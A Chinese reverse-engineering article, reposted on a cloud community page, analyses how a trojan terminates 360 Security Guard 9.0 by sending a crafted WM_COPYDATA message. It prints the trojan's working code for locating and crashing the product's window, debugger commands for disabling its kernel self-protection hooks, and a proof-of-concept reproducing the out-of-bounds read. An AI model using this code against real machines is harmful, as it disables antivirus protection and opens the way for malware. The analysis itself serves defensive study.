利用漏洞溢出掉360安全衛士逆向分析

來源:互聯網
上載者:User

標籤:style   http   使用   strong   os   資料   

註:本文測試環境為360安全衛士9.0,最新版的安全衛士已修複此漏洞

現象

某個木馬運行後可以關閉360安全衛士,經過逆向分析發現該木馬只是簡單運行了以下代碼:

/*

HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));int i = 0;for (i = 0; i<0x30000; i++){if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0){         break;}}if (i==0x30000){return;}FARPROC funcGet360HWND = (FARPROC)(h360+i);HWND hWnd = (HWND)funcGet360HWND();COPYDATASTRUCT cpdata;cpdata.dwData = 0x4d47534d;cpdata.cbData = 0x1000;cpdata.lpData = msgbuf;  //長度0x1000位元組的隨即資料,其中不能有連續\x00\x00SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);*/

我們自己用上面代碼運行之後,360安全衛士的進程(360tray.exe)就自動結束了。注意:這個程式必須是帶視窗的程式,而不能使控制台程式,因為控制台程式是不載入safemon.dll的。

攻擊原理

上面如此簡單的代碼就能導致關閉360,我們來看一下這段代碼到底做了什嗎?首先獲得safemon.dll的模組地址,每個有圖形介面都會載入這個dll。然後從這個模組裡找一處特徵代碼,經分析發現找的是以下代碼:

67366570   83EC 10         sub     esp, 1067366573   56              push    esi67366574   8D4424 04       lea     eax, dword ptr [esp+4]67366578   50              push    eax67366579   6A 00           push   06736657B   8D4C24 10       lea     ecx, dword ptr [esp+10]6736657F   51              push    ecx67366580   68 40653667     push    6736654067366585   6A 00           push    067366587   6A 00           push    067366589   C74424 20 E48D4>mov     dwordptr [esp+20], 67418DE4                   ; ASCII "Q360SafeMonClass"67366591   C74424 24 00000>mov     dwordptr [esp+24], 067366599   C74424 28 00000>mov     dwordptr [esp+28], 0673665A1   FF15 10D34067   call    dword ptr [<&KERNEL32.GetCurrentProcess>]       ; kernel32.GetCurrentProcess673665A7   50              push    eax673665A8   FF15 58D14067   call    dword ptr[<&KERNEL32.CreateRemoteThread>]     ; kernel32.CreateRemoteThread673665AE   8BF0            mov     esi,eax673665B0   85F6            test    esi, esi673665B2   74 10           je      short 673665C4673665B4   6A FF           push    -1673665B6   56              push    esi673665B7   FF15 24D14067   call    dword ptr [<&KERNEL32.WaitForSingleObject>]     ; kernel32.WaitForSingleObject673665BD   56              push    esi673665BE   FF15 20D34067   call    dword ptr[<&KERNEL32.CloseHandle>]            ; kernel32.CloseHandle673665C4   8B4424 10       mov     eax, dword ptr [esp+10]673665C8   5E              pop     esi673665C9   83C4 10         add     esp, 10673665CC   C3              retn

其作用就是找到Q360SafeMonClass的視窗控制代碼。找到這段代碼後就會執行這段代碼來擷取該視窗控制代碼。為什麼不直接用FindWindow來尋找呢?據分析應該是360做了一些防護,直接找怕找不到。

找到這個視窗後會給他發送WM_COPYDATA訊息,附帶的訊息COPYDATASTRUCT結構的dwData是0x4d47534d,資料長度是0×1000,內容是隨機資料。

我自己寫了個程式類比上述功能後,運行成功結束了360tray的進程,證明原理是沒有錯的。

漏洞調試

究竟是什麼原因導致360tray如此簡單就被關閉呢,我決定調試一下360看,啟動OD準備附加360tray進程,發現無法附加,360做了保護。要想調試360首先要把保護去掉。

用XueTr看360的核心Hook點,並嘗試恢複:

恢複之後嘗試OD附加仍然失敗,再重新整理hook點已經被恢複了,這是當然的,360也要保護自身嘛。於是windbg開雙機調試,在hook點下寫斷點,這樣當360驅動恢複這裡的時候,我們把他nop掉。

然後只要

kd> eb f747ed78 c3kd> u f747ed78Hookport+0xcd78:f747ed78 c3              retf747ed79 ff558b          call    dword ptr [ebp-75h]f747ed7c ec              in      al,dxf747ed7d 51              push   ecxf747ed7e 51              push    ecxf747ed7f 8d45fc          lea     eax,[ebp-4]f747ed82 50              push    eaxf747ed83 ff1594ff47f7    call   dword ptr [Hookport+0xdf94 (f747ff94)]kd> g

這時候只要再恢複核心hook點,360就啞巴了,然後成功用OD附加360tray進程:

漏洞原理

經過調試發現,導致360出錯退出的地方在360safemonpro.tpi這個模組裡inline編譯的vsnwprintf,從這裡調用:

 

其中va_list參數裡有我們WM_COPYDATA訊息傳進去的資料,然後在裡面進入_woutput_l的時候出錯了:

對應的原始碼是:

output.c

                /*textlen now contains length in multibyte chars */                } else{                    if(text.wz== NULL) /* NULLpassed, use special string */                        text.wz = __wnullstring;                    bufferiswide= 1;                    pwch= text.wz;                    while(i-- && *pwch)  //這裡出錯了                        ++pwch;                    textlen= (int)(pwch- text.wz);       /* in wchar_ts*/                    /*textlen now contains length in wide chars */                }

看起來360的用法是沒有錯的,這裡不存在溢出之類的漏洞,我分析認為這是微軟挖的一個坑,360不幸掉進去了,對WM_COPYDATA的資料處理不當回導致訪問未映射的記憶體。

以下是來自網上的WM_COPYDATA資料傳遞的原理:

 

跨線程的WM_COPYDATA沒有使用共用記憶體,反而複製了兩次資料寄件者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配核心記憶體,將使用者資料複製到核心空間)->SetWakeBit喚醒接受者->SetWakeBit等待應答接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把資料從核心空間複製到使用者空間)->KeUserModeCallback(轉到使用者模式)->SfnCOPYDATA(receiver side)->視窗過程->回到核心模式,應答寄件者...........‍

所以傳遞的資料並不是一塊新分配的heap,而0×1000為單位長度映射的記憶體空間,是一塊沒頭沒尾的空間,一旦使用一些字串操作函數直接存取這塊空間,很容易造成越界訪問到沒映射的記憶體裡。

‍‍為了證實這個理論,我們可以自己寫一個WM_COPYDATA的是以訊息處理函數,類比漏洞的產生過程:‍‍‍‍

BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct){    wchar_t buf[0x2000]={0};    _snwprintf(buf, 0x2000, L"url=%s", pCopyDataStruct->lpData);    return CDialog::OnCopyData(pWnd, pCopyDataStruct);}

這段代碼看上去是沒什麼問題的,直接把傳進來的lpData當做字串來處理。我們再寫一個發送函數:

HWND hWnd=FindWindowA("#32770","recv");if (hWnd){            int len=0x1000; //這一定要是0x1000的整數倍            char*buf=new char[len];            memset(buf, 0x41, len);            COPYDATASTRUCTcpdata;            cpdata.dwData = 0x4d47534d;            cpdata.cbData = len;            cpdata.lpData = buf;            SendMessage(hWnd, WM_COPYDATA,NULL, (LPARAM)&cpdata);            delete[] buf;}

運行發送訊息後,接收訊息的程式報錯了,出錯點就是剛才分析的地方。

總結

嚴格意義上講,導致360被結束的這個問題應該不算一個漏洞,而是由於微軟沒對使用COPYDATASTRUCT.lpData的記憶體做一些要求,正常的庫函數訪問的時候就可能導致出錯。要安全使用COPYDATASTRUCT.lpData,應該把這塊記憶體先拷貝出來,然後再進行操作。

另一方面,這個漏洞為我們指引了尋找360漏洞的方向,凡是有使用者能控制輸入的地方都有可能存在此類漏洞。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.